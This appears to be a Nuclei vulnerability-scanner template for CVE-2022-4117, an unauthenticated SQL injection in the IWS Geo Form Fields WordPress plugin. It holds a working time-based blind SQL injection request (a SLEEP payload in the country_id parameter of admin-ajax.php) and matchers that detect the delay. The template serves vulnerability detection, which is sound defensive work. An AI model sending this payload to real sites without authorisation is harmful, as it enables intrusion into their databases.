id: CVE-2022-4117 info: name: IWS Geo Form Fields <= 1.0 - Unauthenticated SQL Injection author: theamanrawat severity: critical description: | The IWS WordPress plugin through 1.0 does not properly escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to an unauthenticated SQL injection. reference: - https://wpscan.com/vulnerability/1fac3eb4-13c0-442d-b27c-7b7736208193 - https://wordpress.org/plugins/iws-geo-form-fields/ - https://nvd.nist.gov/vuln/detail/CVE-2022-4117 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-4117 cwe-id: CWE-89 metadata: verified: "true" tags: cve,cve2022,sqli,wordpress,wp-plugin,wp,iws-geo-form-fields,wpscan requests: - raw: - | @timeout: 15s POST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded country_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b) matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(body, "\"status\":200") && contains(body, "{\"html\":")' condition: and